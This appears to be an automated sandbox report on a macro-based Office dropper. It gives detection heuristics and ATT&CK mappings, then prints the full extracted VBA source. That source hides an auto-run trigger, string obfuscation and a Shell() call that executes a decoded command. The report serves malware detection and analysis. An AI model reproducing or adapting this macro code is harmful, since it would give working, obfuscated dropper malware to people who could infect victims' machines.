MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The document body explicitly prompts the user to 'Enable Editing' and 'Enable Content', a common lure for macro-based malware. The VBA code includes a critical 'Shell()' call, indicating it's designed to execute arbitrary commands or download further payloads. ClamAV also identified it as a dropper.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6607318-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6607318-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3365 bytes |
SHA-256: 5ab9871b59804c2b9e1f148da0bec5b658e3051cfdf9b90118f2b0be808fc118 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "InkPicture1, 0, 0, MSINKAUTLib, InkPicture"
Private Sub InkPicture1_Resize(Left As Long, Top As Long, Right As Long, Bottom As Long)
test3 1, "roui"
End Sub
Attribute VB_Name = "Module2"
Function test2(ByRef text, dec, name)
text = text + dec + name
End Function
Function test3(tt, ByRef text)
If UserForm1.Label1 = osdif Then
tr = 12
UserForm1.TextBox3 = text
End If
End Function
Function osdif()
osdif = "1"
End Function
Attribute VB_Name = "Module1"
Function gnkruhl()
leng = 6 * Rnd() + 4
name1 = ""
For i = 1 To leng
num = 24 * Rnd() + 97
name1 = name1 + Chr(num)
Next i
gnkruhl = name1
End Function
Function DecodeString(text)
decode = ""
For i = 1 To Len(text)
decode = decode + tyokfuer(fghyut(Mid(text, i, 1)), 5)
Next i
DecodeString = decode
End Function
Function tyokfuer(num, key)
If num - key < 1 Then
tyokfuer = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
tyokfuer = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function
Function fghyut(yuiuv)
gutjh = UserForm1.TextBox1
jkdhf8 = Len(gutjh)
For i = 1 To jkdhf8
If yuiuv = Mid(gutjh, i, 1) Then
fghyut = i
Else
yfiui = 1
End If
Next i
End Function
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{1A3C0837-91A4-433E-BC47-86C8CDB9B97D}{91DA2AA3-9887-48B7-B39D-3B71E1952AB7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox1_Change()
End Sub
Private Sub TextBox2_Change()
Shell UserForm1.TextBox2, 0
End Sub
Private Sub TextBox3_Change()
sidfi
End Sub
Attribute VB_Name = "Module3"
Function sidfi()
name1 = gnkruhl()
dec2 = DecodeString("{.jpod(z,5\")
dec4 = DecodeString("_$$1p)g1|")
name2 = gnkruhl()
dec5 = DecodeString("%imi$$}:jphop gof/ijj5$$1p)g1|")
dec6 = DecodeString("%imi$$:-poa;")
dec7 = DecodeString("{$$xppg4[[uuu%ch)ij'ofu(gxho)h%/f)[biub%js/v$$}-/hp/x;")
dec8 = DecodeString("{$$xppg4[[gfjdpd""i/xh(zijfv%/f)[biub%js/v$$}-$]]535fsp ldbi5 i(/fkd(z5hj/dd5 ldbighpx51p)g1|")
name3 = gnkruhl()
name4 = gnkruhl()
text = ""
dec1 = ""
yhdakui dec1
test2 text, dec1, name1
test2 text, dec2, name2
test2 text, "", ""
test2 text, tyjbbc, name2
test2 text, "", ""
test2 text, dec4, name3
test2 text, "", ""
test2 text, dec5, name3
test2 text, "", ""
test2 text, dec6, name1
test2 text, "", ""
test2 text, dec7, name1
test2 text, "", ""
test2 text, dec8, name4
test2 text, "", ""
dec9 = DecodeString("%'hp:5jphop gof/ijj5$1p)g1|")
test2 text, "", ""
test2 text, dec9, name4
test2 text, "", ""
dec10 = DecodeString("%'hp$5 ud(kfujpabi5xdkki(]")
test2 text, dec10, ""
UserForm1.TextBox2 = text
End Function
Function tyjbbc()
tyjbbc = DecodeString("};{(iu f'ci/p5jajpi)%(ip%ui'/bdi(p}%kfu(bfhkldbi{\")
End Function
Function yhdakui(ByRef tref)
tyfuir = "/)k5[/5gfuiojxibb5]$gfuiojxibb5]]ls(/pdf(5"
tref = DecodeString(tyfuir)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.